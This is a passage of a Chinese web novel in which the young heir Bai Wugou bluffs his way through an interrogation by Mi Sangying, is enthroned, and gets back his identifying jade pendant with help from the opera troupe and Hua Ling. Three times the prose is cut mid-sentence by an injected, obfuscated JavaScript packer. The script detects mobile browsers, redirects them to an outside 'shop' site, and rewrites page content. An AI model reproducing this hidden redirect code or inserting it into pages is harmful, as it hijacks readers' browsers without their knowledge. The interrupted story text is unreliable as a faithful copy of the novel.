得来的时光不易,要好好珍惜,许柔竺本来想跟许夜祈一同出去走走,正清晨却看见许夜祈慌张出了门,便一路尾随他。还心里纳闷,这才刚来耿安国没两天,路都认不全,五哥能去哪里呢?思索间,已经跟到了柳源戏班门口。 许柔竺恍然大悟,那不是昨天在皇宫唱戏的班子嘛,他们中有个人被称作“花二爷”,听着就奇怪,还敢当着本公主的面自称爷,据说那个戏班,是叫什么源来着? 许柔竺就是娇纵了些,本性并不坏。想着定是因为昨日花二爷落水的事情,许柔竺心虚不敢进去,只得在门口立着,悄猫地等许夜祈出来。 没过多久,却看见许夜祈整个人连着拜礼都被白无垢轰了出来:“杵这干嘛,我们柳源戏班又不是演木桩子的,该干啥干啥去,马上可又有一出戏了,我们得赶紧收拾打扮好,没时间陪你在这里玩木头人游戏。” “那许某就先回了,隔日再来拜访诸位。”许夜祈整理好被白无垢弄乱的衣襟,朝屋内人拱手道。 白无垢说罢,立马掩了门,完全不管不顾门外人说了什么,又试图用撒娇来讨好屋内人:“师姐,消消气,别跟他们一般见识。” 花伶昨天听说无垢回戏班了,急着回来见他,无意间撞到那个什么公主,浑身湿透地回了戏班,大家都很关心她,花伶也不藏着掖着,原原本本地道来事情的始末。所以今日见着许夜祈,白无垢一点都不跟他客气。 “叫‘师兄’。”叶童舟在旁边一本正经地纠正道。 白无垢才不管呢。嗷,好好的漂亮的师姐非要扮成一个男的,女子唱戏怎么了?要不是因为师姐是个女子,她能把旦角唱得这么好吗? 叶童舟纠结白无垢的称呼问题不是一天两天了。反正花伶无所谓,白无垢乐意叫啥叫啥,但改个字又不会掉块肉。 花伶却是不咸不淡地说了句:“我没生气。” 她没生气,本来就是嘛…… “我只是觉得有点奇怪,明明昨日救我的是他,如今道歉的也是他,可害我落水的毕竟不是他啊……” 花伶心里有个刻板印象,大户人家什么的最讨厌,仗着有钱能使鬼推磨,可劲儿剥削穷人们。可见到许夜祈为了自家妹妹放下架子,态度谦卑且真诚,着实改观了花伶对那些贵胄子弟的看法——许夜祈跟花伶过去遇见的那些人都不一样。 - 许夜祈看着面前毫不犹豫就关掉的门,微叹了口气。 唉,事出突然,人家姑娘不肯原谅他们,能怎么办?或许过段时间就消气了吧,反正不急,柔竺这次出来玩,父皇母后应允了一个月的时间。 见有人在门外张望,许夜祈吓了一跳,定睛一看才发现是自家妹子,随即用手指戳了戳许柔竺的额头,语气里半是埋怨半是无奈,宠溺一笑:“你呀!” “那他原谅我了?”许柔竺就是一根筋,做事极其简单,就像小孩子过家家,想到一出是一出,极其没心没肺。 “哼,你倒想得美,下次做事之前带上脑子,可别又让我给你收拾烂摊子。” “嗯呐,五哥最好啦~”许柔竺撒娇,她的这么多个哥哥里,也只有许夜祈能够无节操无底线地替她兜底。 许柔竺还暗想那花二爷没度量,一个大老爷们,跟一个女子怄这么久的气。大不了,等过阵日子,她亲自去道歉? 出都出来了,当然要趁机好生玩玩,一不做二不休,许柔竺索性将花伶的事抛在脑后,拉着许夜祈就往人多的地方冲。 两个国家完全不一样,许柔竺从没见过耿安的风貌,周遭的一切让她倍感新奇,愣是拉着许夜祈走了一上午。 什么这珠宝那玛瑙玉石,装了两大布袋,其他的那些新奇玩意儿,更是一点都没落下。 耿安国本来就盛产宝石矿物,可这些物件死沉,极易折损,运输成本又高,故而极少外销,存货都是在内部消化,然而物以稀为贵,故而价格低廉。 - “怎么样,又学了多少呀?”白无垢将自己关在屋里整整一上午,见他出了屋,沈佳期揉着他的脑袋,笑眯眯地问道。 难得这小鬼这么安静,沈佳期当然高兴,霜满天也不知道有什么魔力,能让白无垢乖乖地听他话。 见白无垢不语,沈佳期回到屋里,却只看见满纸的王八涂鸦,不见得半个大字,微叹了口气,是他想多了,什么叫江山易改,本性难移,这便是了。 “无垢啊……” 听着沈佳期一顿数落,白无垢垂首,本来不是学习的料,能一门心思静坐上几个小时就已经算难得,坐在桌前,那些个字愣是一个都蹦不进脑子,这他能怎么办? 沈佳期说得累了,见白无垢也不听,叹了口气,说着“朽木不可雕也”就走了。白无垢倒是无所谓,又缠着花伶说要一同出去玩耍。 花伶画了半面妆,正描着朱唇,说道:“无垢,你这样可不行,要知道的,学习使人进步。” 沈佳期不让说,但花伶是心知肚明的,白无垢可是挑大梁的人,不提升自己的能力怎么能行,但时间这么紧,多少有些赶鸭子上架。 倒是一旁的小团子江瑾旭笑得开心:“无垢哥哥,你别难过,他们不跟你玩,阿旭陪你一起玩。” 般若和司空冰要挣钱养娃,平日里不能处处都看着瑾旭。 倒是瑾旭,也不认生,每天就缠在这个叔叔、那个伯伯后面,一副自来熟做派,真切地坐实了继花伶后新一代“团宠”的名号。 说到做到,前脚沈佳期花伶一出门,后脚白无垢抱着瑾旭马上就没了影——沈佳期不在,根本没人能管得住他。 白无垢心想,外面的世界多好,一天天呆在家里不闷死都要长霉了。 勾栏里戏幕已经拉起,吹拉弹唱悉数就位。 花伶着好了装,正欲上台,和溜达的许家兄妹撞了个正着。 “花姑……”娘。 意识到叫错了称呼,许夜祈立马改口道:“花公子好久不见,别来无恙啊。” 许柔竺默不作声,额,这话也显得太客套了吧,你们不是早上刚见过吗? 见到了许夜祈身旁的女子,花伶心想,谁稀罕见着你们,巴不得这辈子都不要再相见的才好。 “到我上场了,花伶不便作陪,二位还请随意。”花伶也未过多纠缠,惹不起总该躲得起吧,行个礼就走了。 不过片刻,花伶随着一声乐响,姗姗而来,许柔竺看得两眼直冒粉红色的泡泡,没想到这个花二爷,唱起戏来真有两下子,那女子装扮真的是要多灵动就有多灵动,她一介女子见了都喜欢,也难怪五哥会对他那么好。可分不清戏里戏外的角色,也是一种悲哀吧--那花二爷扮上的女子再怎么婀娜,戏外他还是个男子呀。 戏幕起戏幕落,台上台下的人各自欢愉。 等戏散场,众人回到戏班,却又是另外一副场景,小瑾旭拉着般若哭个不停,沈佳期便上前询问发生了什么。 “无垢哥哥说好了让我等着,他去买糖,叫我在原地不要动,他却乱跑,害得我找不到他了,真不乖。”见到了班主大大,小瑾旭一顿吐槽。 大抵意思就是,白无垢买糖买不见了。柳源戏班在临初这么多年,早就站稳了脚跟,又因玉霄国的惨痛教训,素来和外面人交好。如今,白无垢失踪,这还能是谁干的好事? - 每天那么多行人路过铁岭山,芈式连回风寨有几个人都摸不清楚,偏偏揪出了一个白无垢,认出了白无垢是霜满天的人。 霜满天多年前送药时造访过柳源戏班,这本就让芈氏起疑,虽然后来探查一番,但没找到任何蛛丝马迹,也就此作罢。 倒是白无垢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598178|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行为过于张扬,不由得让人怀疑。 前些日子收到霜满天来信后,白无垢也未想太多,大摇大摆地乘着马车上了山,目标直奔回风寨,这才落入探子们的眼。 尔后,虽然上次回家霜满天刻意给无垢挑了条不常走的小道离开,但白无垢这个冤大头,下山后找到的马夫刚好是芈氏乔装打扮的眼线,马车最后当然是回到柳源戏班。 恰好多年前霜满天还来过柳源戏班,还放了个烟花,这就显得白无垢说不清道不楚了,要说他跟霜满天没点纠葛,谁听了估计都是不信的吧。 光天化日,白无垢被人套着麻袋扛走了,来人动作之快,胆子之大,让白无垢脱口来了句:“卧槽?” 这天还没黑呢,就如此行径,耿安国治安这么差的吗?老爹他们怎么管理的国家? 普天之下,莫非王土,敢在耿安国这么嚣张的人,还真是没有几个,直至看到面前一张熟悉的面容,白无垢更证实了他心中的想法,把他绑回来的人,真的是芈桑影。 大抵是在临初待久了,所以时不时都可以见着霜满天口中的这位“神仙”,白无垢对他当然不陌生。 “说,你上次上山又给霜满天传递了什么消息,他最近有什么计划?” 冬至就是两国交接大典,近来铁岭山上的一举一动都被无限放大,落在了芈式这里,一个蚊子屁响就是炮仗了。 白无垢面无惧色,想着只要不暴露自己的真实身份就可以了吧,他们也没必要为难我一个路人,要是能趁机抹黑一下霜满天,或许会更合他们的意? 面对眼前人的盘问,白无垢把他的想法大概地梳理了一下,就开始了他的表演。 首先是脸不红心跳也不加快,淡定答道:“几年前,待在寨子里太闷了,就想下山去找找有什么活计,正巧看着沈佳期他们戏班不错,索性就跟他走了呗。” 边说边直勾勾地看着芈桑影,眼神真挚诚恳,看不出半点虚假。这还是沈佳期教他的,上台时眼睛不要四处瞟,盯着前面的某处,一点点地移目光,显得比较有精气神儿。 心里却想的是别的东西:等老子上了位,一定先弄死你们。 白无垢不知道自己是什么环节暴露了,只能将自己和柳源戏班还有霜满天的纠葛一番编排。 眼见着眼前人脸上布满质疑,白无垢也不知道哪里来的勇气:“要不我给你唱一曲?展示一下我这些年在戏班里的收获。” 也不需要敲锣打鼓,顾自起唱。 对于唱得好的人,那些花把式无疑是画龙点睛,对于白无垢这种,没有锣鼓声遮掩住他那嗓音,那就是雪上加霜。 芈桑影不懂这些文绉绉的东西,却也着实觉得眼前人唱得不咋滴,皱着眉,心想戏里怕不是唱的恶鬼哭魂吧。 虽然也有学,事实上,白无垢也没想过能把它学得多精,他也从来没有上过台,跟他的师兄们比,简直是差太多了。 “嗐,沈师父也说我是最没天赋的一个徒弟,但没办法,两手空空,啥也不会,我还是要混一口饭吃。”芈桑影倒是坐着看戏也不嫌累,白无垢站了半天腿都酸了,也不待芈桑影请他落座,径直就坐在地上。 说着说着,白无垢又给自己自导自演,开始一顿卖惨。讲了一个他唱戏不好,又顶撞了花二爷,被师父饿着肚子不说,还一顿毒打,想重新回寨子里找霜满天讨债,结果被霜满天戏耍一番赶下山的故事。 白无垢心中感慨自己真是个天才,在戏班久了,耳濡目染,编故事的能力都强了不少。 说罢还把自己的衣服撩开给芈桑影看,真真切切身上各种各样的伤都有,那些是前几天下山被枝桠划的,还有走在路上摔的淤紫色印迹。 芈桑影琢磨着他一顿卖惨,好像听着是有那么些道理的,素闻沈佳期对手下都严苛,当然霜满天也不是什么好东西……白无垢不成大气候,这小子夹在他们中间,说不定是两边受气。 37. 戏子入画满临初18 白无垢的这番控诉完全违背了霜满天特地为他挑条最险最偏僻的小路走的本意啊,本来想着一路有些什么小兽,可以让白无垢练练手的,免得这臭小子在山下玩得忘乎所以,把回风寨里练就的本事都还了回去。 苦其心志,劳其筋骨,饿其体肤,这也是成为国君路上的必要修炼,他霜满天培养出来的接班人,当然不能是个绣花枕头。 结果当事人不嫌事多,在芈桑影面前一番添油加醋,大肆渲染霜满天如何虐待他,柳源戏班怎么不待见他。 有依有据,声情并茂,可白无垢就是半天没说到重点上来,芈桑影索性提点他:“那你跑回去找霜满天作甚?” “霜满天还欠着我钱呢,十几两银子,我得找他要回来。”白无垢接话很快,眼神里满是愤慨,看着感觉就不像说谎的样子。 又是一顿卖惨,班主怎么不给饭吃,白无垢突然想起来了之前霜满天跟他打赌输掉的十几两,饿到走投无路,便上山讨要…… “可霜满天才给了我这么点碎银子,打发叫花子呢。” 愤然,把兜里的碎银子都拿出来,一把丢在地上。 这当然不是霜满天的钱,这些钱是白无垢给瑾旭买糖吃的,小孩子嘴馋,每次带瑾旭出去玩,都要给些吃食哄着,不然又一路缠着他买这买那不休不止。 看着芈桑影虎视眈眈的眼神,白无垢补充:“不信你看我都消失了半个下午,有人来找过我吗?” 事实是,瑾旭超乖的,他让瑾旭乖乖等着他,瑾旭那么听他的话,肯定会乖乖等着他回去。 可是小孩子毕竟是小孩子,白无垢那么长时间未归,瑾旭等了大半下午也不见他回来,故而十分害怕,这才回戏班找人。 其实白无垢是害怕有人来的,无论是霜满天的人,还是沈佳期的人。他有一种感觉,一种弱小生物的本能,这芈氏,完全不是善类,不是寻常人能招惹得起的。 白无垢是个话唠,说完了自己和霜满天在回风寨的各种纠葛,见芈桑影还没有放他走的意思,索性把话题扯远,什么宫里的装潢布局,树木花草,风水阴阳,都给他细究了一番。 听着他东扯西拉,终于,芈桑影也没了耐心:“哎,算了,你走吧。” 事毕,白无垢撒腿就跑,还在心里窃喜,我特喵的真是个天才,你们要有本事搞清楚了事情的来龙去脉,就不会问我,没本事查到的话,还不得听我瞎编。 芈桑影感慨,到底是为什么,他竟然听着这小子唠叨了半天,还看了一出出苦情戏。 算了,又白忙活一场。这霜满天,真是只老谋深算的狐狸,藏那么久了,还那么深,半根狐狸毛都没漏出来。 - 姜瑾旭说完以后,白无垢还是久久未归,沈佳期也纠结,正想要不要去找霜满天,让他帮忙寻人,刚准备外出,恰好白无垢从门外开锁,着实吓了他一跳。 见是沈佳期,白无垢朝他一笑,就像个没事人似的,哪里有半点受了芈桑影半天软禁的委屈。 见人完好回来,沈佳期随即舒缓了脸色,问他:“去哪里了?” 白无垢倒是答得轻巧:“嗐,还能去哪里,芈家请我去坐坐,喝了口茶,味道还不错。” 被盯得这么紧,白无垢这才想通,为什么继位这么重要的事,霜满天不亲自来找他了,不是不重视,恰是为了保护他。他们身边盯着的眼睛如此之多,他这以后怕是不能随随便便去找霜满天。芈桑影今天如此兴师动众,估计是他上次收到信后,着急忙慌张冲去回风寨暴露了。 后面两次,白无垢都是通过书信和霜满天交流,霜满天跟他唠一些不痛不痒的家常琐事,也详细告知交接大典的诸多事宜。 日子过得很快,芈家后来也没了什么动静,交接大典就悄无声息地到来了。 典礼在临初东面的城郊举行,那里地势开阔,视野极佳,有一处宽敞的专用祭祀地。 以往都是在这里祈雨,也庆祝丰收,还在这里处决一些十恶不赦的犯人,更重要的是,每次国主交接的仪式也在这里进行。 流程包括祭天、祭祖、移交玺印和新帝宣布大赦天下几样。 大赦天下是每次的固定流程,一来是为了沾沾新帝的光,彰显仁德;二来是希望这些犯人能戴罪立功,为耿安国建设添砖加瓦。从另外一方面来讲,耿安的刑罚并不是太严苛,即便是判刑重些的人,只要不是罪大恶极,每过两年或者四年国主交接时就会被赦免,这也能保证充足的兵力和生产能力。 两层的顺天祭台共有十几米,高台两侧旌旗招展,这工程还是霜满天监制的——他不放心,怕芈氏在祭坛里搞鬼,比如埋炸药什么的。 芈氏也没太在意,只当是霜满天乐意成全自个儿,想让自家的大典风光些,所以霜满天提及要自行修缮祭台,芈家很自然就答应了,毕竟要花费大量的时间和精力,少一事也好。 祭台上摆好了牲首、五谷、美酒和佳肴,高台之下,群臣落座,百姓围观,俨然普天同庆之势。 交接前夕,白无垢去见了在席间的爹娘。 “乖儿子,哎呀,最近肯定是太用功了,为娘瞧着都瘦了,这可不行啊,书要好好读,饭也要好好吃。”霜凝芳浑身珠光宝气,有点闪到白无垢的眼。 白霜氏名凝芳,为了今天的大典,她可是好好地把自己捯饬了番,毕竟这种光宗耀祖的事,她作为娘亲,可不能给自家孩子丢脸。 一顿上下其手,搓扁揉圆。 “娘,我都这么大了……”当着这么多人的面,不好吧…… 白无垢想躲开,可就是敌不过霜凝芳的热情。 霜凝芳当然开心,她的小儿子流落在外多年,如今终于可以相认了,还当上了皇上,多风光。 倒是白溟祉的状态不太好,只见他板着脸,神情严肃,白无垢也不敢去贸然搭理他,爹他这样子,貌似是上次摔下马后腰病还未好?白无垢索性连招呼都懒得打,就跟着霜满天去换了衣服。 缁衣披身,头戴冕旒,面庞还很稚嫩,白无垢的出现着实让芈氏那群人大吃一惊。 不敢想,这个屡次擦肩而过的臭小子,居然真的是白霜两家的儿子——霜满地。 探子上次不是说他死在了长渝之战中嘛,怎么现在生龙活虎地出现在众人面前? 芈桑影恨得牙痒痒,那叫一个气愤啊,本来想着霜满天没什么政治头脑,等他当上皇帝没几年就会垮台,届时芈家就可以假手耿安国大小事物,却被这个假死的霜满地截了胡,看来,底下的这帮子人,业务能力不行啊。 霜满天特地给柳源戏班留了一块地,除了文武百官,他们也来参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598179|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加白无垢的继位大典。席间,沈佳期提议道:“我们去看看无垢吧,也许以后就看不到了……” 当皇上日理万机,那么忙,怎么可能会有事没事往柳源戏班跑,花伶想着,内心难免一阵失落,无垢哥哥要走了吗? 叶童舟似是看懂了花伶眼中的落寞,跛着脚走过去,牵着她的手,安慰道:“没事,你还有大家呢。” 眼见着白无垢威严肃穆地走上高台,正准备行祭天之礼,人群中突然有人喊了声:“慢着!” 众人循着那声音望去,只见一身锦衣华袍,袍上金丝线绵延,勾勒出一只碧霞中振羽的凤凰。那人凤眼丹唇,一双眼睛不威自怒,是芈桑影的正后诸氏。 “历代耿安国都为三家之国,以蓝地出产的千年寒潭玉制成的螭龙玉佩为识,虽没有将其列为明确的例文,但已经在某些方面达成了共识,这玉佩就是一个身份的象征。往年交接,芈家、白家玉佩俱在,唯独霜家信物十几年不见踪影,想来定是属于这位小公子,可否将你的玉佩展示给我们看看?” 小公子就是一个贬义词啊,诸氏话里有话,是说白无垢年纪小,阅历尚浅,不是当皇上的料。毕竟,正儿八经的称呼,是要喊“新帝”的。 诸氏的一番话不无道理,人群中有人附和,让白无垢把玉佩拿出来给大家瞧瞧。 什么霜家玉佩?从未听闻。思绪良久,白无垢才忆起,从小到大,他仅有过一枚玉,而这玉,十年前,他给了花伶…… 那丫头向来丢三落四的,也不知道玉佩还在不在,白无垢心中暗叫不好,随即向霜满天投去求救的眼神。 不知什么时候,白无垢开始这般依赖霜满天,虽然霜满天严厉,又不苟言笑,会不正经地拿白无垢开玩笑,可在白无垢心里,早就认可并且无条件相信霜满天这个哥哥了。 霜满天没想到诸氏会提出这样的要求,但想着也不过分,毕竟这玉是存在的,并且他早就将它给了白无垢,根本没领会到白无垢眼神里的含义,以为白无垢只是因为没见过这种大场面紧张。 倒是花伶会意,不卑不亢地挺着小身板站了出来:“大家稍安勿躁,玉佩在我这里,我这就去取。可能要点时间,大家不妨先进行前面的环节,玉佩留在最后查看便是了。” 霜满天挑眉,他早就跟白无垢强调了N遍这玉是何等珍贵的东西,怎么现在,落到了柳源戏班这个白净面皮的小子手里? 白无垢如释重负,向花伶投去赞许的眼神,心念道,花花,爱死你了。 好巧不巧,这一幕恰好落在霜满天眼中,白无垢这含情脉脉一往情深的眼神,着实让他受到了惊吓。 莫非,自家弟弟是个断袖? 不行,就算是,他也得给他掰直了,不能让无垢自甘堕落误入歧途。 来不及多想,眼见着花伶离去,芈桑影立马朝身边的两个手下使了使眼色,霜满天见状,拉长脸,拨开人群紧随其后。 探子们当然是奔着花伶去的,白无垢这个不知道从哪里冒出来的小娃娃对大家而言本来就是脸生,公信力完全不够。在这个节骨眼上,要是玉佩再出点事,白无垢是真的混不成了。 如此紧要关头,叶童舟怕花伶搞不定,本来也想随她而去,刚迈出两步,止住了步子,自嘲道,他这腿,这不是给白无垢拖后腿嘛。 38. 戏子入画满临初19 典礼在郊外举行,距离柳源戏班还是有些路程的,花伶一刻也不敢耽搁,就近牵了匹也不知道是谁的白马,骑着就“哒哒”上路了。 芈桑影当然是不嫌事多,巴不得再出点什么幺蛾子,好让白无垢不能继位,届时霜满天被赶鸭子上架,继位后也大约是个废物,自己好一家独大。如今有取玉佩这么好个契机,他还不得助二人“一臂之力”。 花伶先行一步,那二人随后,却抄了近道,直奔目的地柳源戏班的大宅院去了,霜满天也不管他们,看花伶在前面缩成一团蚂蚁大的点点,紧紧跟在她身后——花伶她一定知道东西在哪里,跟着她就能找到玉佩,至于那两个小毛贼,等找到了玉佩给无垢送过去后,再来收拾。 玉佩的确在柳源戏班里。花伶六岁时便同沈佳期定居临初,从未挪过窝,玉佩一直被花伶珍藏着。 戏班大院是属于那种老式的三层复合宅子,里面整齐有序地分布着二十几间屋子,花伶的房间在二楼最东侧。 推开了大门,只见戏班内桌椅东倒西歪,花草翻倒,钵瓮碎了遍地,整个屋内一片狼藉。 如此场面,花伶心里咯噔了一下,今天大家都去参加白无垢的继任交接仪式,图个热闹,也是替他壮壮胆,班里自然是没人看守,如此光景,莫非家里遭了贼? 已经有人提前光顾了,为的难道就是霜家的玉佩? 正走着,却看见前面的房间门敞着,花伶本想去瞧个究竟,屋内却跳出两个手执长刀的人,其中一个用一种恶狠狠的语气威逼:“东西在哪里?交出来!” 花伶立刻会意,他们果然是冲着白无垢的玉佩来的!心想着,绝对不能给他们,却也害怕——她手无缚鸡之力,怎么斗得过两个手持武器的壮汉? 花伶下意识地往后退,那二人见她不回答,一左一右紧握长刀,步步紧逼。 花伶退着退着就走上了平日大家用来练戏的一方高台,那高台是模仿戏台设计的,四周没有任何遮挡物。 只顾着眼前人,哪里顾得上背后的路,花伶一脚踩空,从高台上坠了下去。 心中暗叫了声不好,却没像想象中一样结实地跌进冰冷的地面,花伶反而落入一个温暖的怀抱。 那人侧颜绝美,有着细长浓密的睫毛、高挺的鼻梁和棱角分明的唇,虽然是很千钧一发的危急时刻,挥散不去的,依旧是浑身带着的那股子痞里痞气的气质。 正是霜满天。 霜满天搂着她的腰,借力打力,一步踏上二米多高的戏台,以迅雷不及掩耳之势,击毙了面前的两个歹人。等花伶回过神来,只看见那两人躺在地上血流如注,她甚至没看清霜满天是怎么出的手! 罢了,只听他用一种怒不可遏的语气说道:“谋害国君,其罪当诛。” 却又笑得如霁日春光,跟眼前的女孩子说:“你真轻,就像个娘们一样的。” 本是调侃,哪知花伶直接接话:“我本来就是小姑娘啊。” 话说出口,意识到不对,花伶突然愣住,为什么会告诉霜满天这些?大概因为他是白无垢的哥哥吧,和无垢一样,霜满天也能给她一种很安全的感觉。 有这样的哥哥,真好。一直守护着白无垢,一直在背后替他出谋划策。 “额,”霜满天也没想那么多,但听说她是个女子,脸上闪过一丝诧异,又望了望自己搭在人家腰间的手,面露尴尬,随即将花伶稳稳地放在地上:“唐突了。” 却庆幸,还好无垢不是断袖。 转念想,难怪白无垢那个小鬼会死心塌地呆在沈佳期身边,原来是因为这个姑娘啊。 霜满天轻功了得,他时常会去市集,利用人山人海躲过芈氏的眼线。勾栏瓦子通常比肩接踵,霜满天也曾在人群中远远地看白无垢,瞧见无垢如痴如醉地望着戏台,尔后看见戏台上的花伶,那模样俊俏玲珑,那声儿婉转动听,只当是演绎得太认真,却根本没想过,她竟然是一介女子。 花伶未过多计较,紧接着就去寻那玉佩,霜满天则跟随在她身后。 只见花伶钻进床底,翻了个身,淡定娴熟地从床板上抠下来一个小盒子。 既然是宝贝,当然得放在别人看不到的地方藏着。花伶一直很喜欢这块玉佩,所以藏在了床背面的一个机关匣子里,那两个贼不把床翻过来看,自然是找不到。 “有心了。”霜满天打开匣子,见玉佩平静地躺在里面,跟花伶道了声谢。 花伶也不跟他客套,反而说了实话:“有心倒是谈不上,只是当初看明白这是个宝贝,喜欢得要紧。” 当初是当初,现在自然是不一样了,再喜欢这玉佩,它也是白无垢的东西,况且还是证明身份的重要信物,花伶当然不能据为己有。 确认东西无误后,花伶这才想起来白无垢还等着她,猛地拍了下脑袋:“糟了,是不是耽误时辰了。” 都怪刚才那两个人,让她分了心!都过了这么久,也不知道无垢那边进展如何。 有爹娘他们和柳源戏班在,霜满天倒是不慌,大家都是见过大世面的,定能镇得住场子,只听他不急不慢地说道:“嗯,走吧。” 于是二人快马加鞭往回赶。 就任大典一套流程走完不过个把时辰,而取信物的花伶迟迟没有回。 台下有诸多的人看着白无垢:各大世家贵胄、普通百姓,他们既是这场仪式见证者,也是监督者,更重要的是,还有芈家人也化身吃瓜群众。沈佳期暗暗捏了拳头,白无垢的路不好走啊。 等了约莫十分钟,却依旧没有看到花伶回来,台下的人有些已经坐不住,开始躁动起来。 沈佳期“腾”地从位上站了起来,不行,他要给白无垢争取时间,想罢便走上高台。 “沈某有幸,在临初有个戏班,班里有二三十人,寻日里靠卖弄脸面和嗓子为生,也有些个能拿得出手的角儿,今日为庆祝新帝就位,普天同乐,沈某愿意带领着戏班一同图个乐呵劲儿,唱曲儿给大家解解乏。” 白无垢用一种不可思议的眼神望着沈佳期,他没想过沈佳期会帮他,还是以这种方式,把交接大典办成宫廷盛宴,这在耿安国还是头回! 沈佳期的身后,是柳源戏班的师兄们,大家纷纷起立,用一种坚毅的目光望向白无垢,以表示自己的支持。 白无垢在心底默默地道着感激,此时间二十多号人已经陆续走上高台。 没有装扮,没有锣鼓,只有清唱,却胜过白无垢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598180|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以往听过的任何一场戏。 一曲还未罢,却见花伶归来,她勒了马,一路小跑到白无垢面前,拎着那枚玉佩的绳头,喘得上气不接下气:“取、取来了。” 紧随着花伶身后的是气定神闲的霜满天。 立马有专门负责宫中监印的人前去辨认,不错,这的确是三块玉佩中霜家的那枚。有玉佩为证,芈家人再没有过多地为难,白无垢本以为这样就万事大吉,想着赶快逃离这种大场面,却见霜满天走上高台。 “诸位,霜某不才,一介武夫,不能担起的重任,这个人——白无垢扛起了。他是我的亲弟弟霜满地,因为多年前一些原因,机缘巧合改了名字,今日才得以恢复真实身份,各方面还多有不足,希望大家多多帮助他,宫中臣子们多多辅佐他,当然我也会尽好我作为将军的义务,替他守好这片河山。” 霜满天虽然脾气不好,但作为大将军打了无数场胜仗,在耿安国还是颇有威望的,一席话说得周围人纷纷投来赞许的目光。 霜凝芳和白溟祉的孩子们为什么姓霜?因为霜家子嗣稀薄,到了他们这一代就只有一个女儿了。若孩子按传统随父亲姓,霜家便不存于这世间了,于是霜凝芳和白溟祉就约定,无论以后有多少个孩子,皆轮姓,这样霜白两家同存,应了当初联姻的初衷。 一时间,这场继任大典无疑在耿安国引起了热议。首先,这白无垢何许人也,大家根本见所未见,闻所未闻,以往要是哪家公子继位,必先轰轰烈烈地打响名声,反倒显得此人低调;其次,这大典多了验玉佩这个环节,比以往热闹了许多;再者,在这么严肃的时候,有个叫柳源的戏班子,居然登台献唱消磨时间。诸多头一回,可不稀罕嘛。 继位大典散场,礼部还有各种程序要走,非要带着白无垢回宫,白无垢趁他们不注意,偷偷溜回戏班,跟花伶告别,又把玉佩给了她。 看着花伶不明所以的表情,白无垢红着脸,支支吾吾道:“师姐,你等着我,你十六岁那天我定回来娶你。” 也未等花伶回答,白无垢就跑远了,他怕停留太久会难过,会越来越不舍得离开花伶,但是,他还有属于自己的事要去做。 白无垢早就过了娶妻的年纪,却一直没有成亲,还不是在等花伶嘛。 花伶年方十五,明年七月初九才十六岁,按耿安例律,女子满十六方可成亲。 一生一人,一心一人。 在回宫的轿子里,白无垢端坐着,思绪却一直在脑海盘旋。 师姐,你等着我,你十六岁那天我定回来娶你。 到时候,我们生两个娃娃,一个姓霜,一个姓白,这玉,就是给他们的传承。 师姐,我等着你长大,也请你等着我,等着我学会做好一名国君,为百姓谋福祉,为天下安太平。 师姐,到时候我会娶你,给你全耿安最豪华的婚礼,让你做耿安的皇后,风风光光的。 师姐,你等着我,等我成了一代明君,为后世所景仰,也给你落一个贤后的名头。 师姐,我会还你一个光明磊落,让世人知道,就算是女子,也能不必遮掩,大大方方登上戏台。 师姐,以后看不见你的日子里,你常入我梦来,可好? 39. 戏子入画满临初20 白无垢前脚带着霜满天刚走,赵亮就驾着一辆马车直奔柳源戏班而来,刚才霜满天托人告诉他,这里有“尾巴”,要他处理干净利落。 院里的高台上躺了两具尸体,都是芈氏的人,两人皆为一刀毙命,死状并不恐怖,只是他们身下的血迹铺陈开来,俨然已经快干枯。 赵亮手不抖眼不眨地把尸体背进马车里安置好,转而却看见了墙角里躲着偷偷瞧他又抖若筛糠的姜瑾旭,愣住,如此可怖的情景怕是吓到了孩子?于是又打了几大桶水,把戏台刷洗得干干净净,还把随身带的吃食给了瑾旭,又安慰他:“别怕,他们都是坏人,罪有应得。” 事了,随即绝尘而去,好像柳源戏班里今日什么事都没发生一样。 铁岭山北侧林木幽深,豺狼虎豹数不胜数,鲜少有人迹,正是杀人埋骨、荒野抛尸的绝佳地点。 倒是芈桑影,听说自己早上派去的两个人失了踪,又派了寥寥数人前往各处去寻,皆无功而返,心道他二人必定是出了事,自然而然把这笔债算到白无垢头上。 长渝之战,芈桑影的确有参与,他暗地里勾结日辄国,挑起对炎灸的战争,偷偷掳走霜满地,想借他国的名义,以霜满地为饵,除掉霜满天。霜满天虽然上了当,却也只是受了重伤,还顺便救走了霜满地。 日辄国以练就各式稀奇古怪的毒药著称,芈桑影想来还是当初给霜满地喂的药毒性浅了,让他今日还能蹦跶在继位大典上。 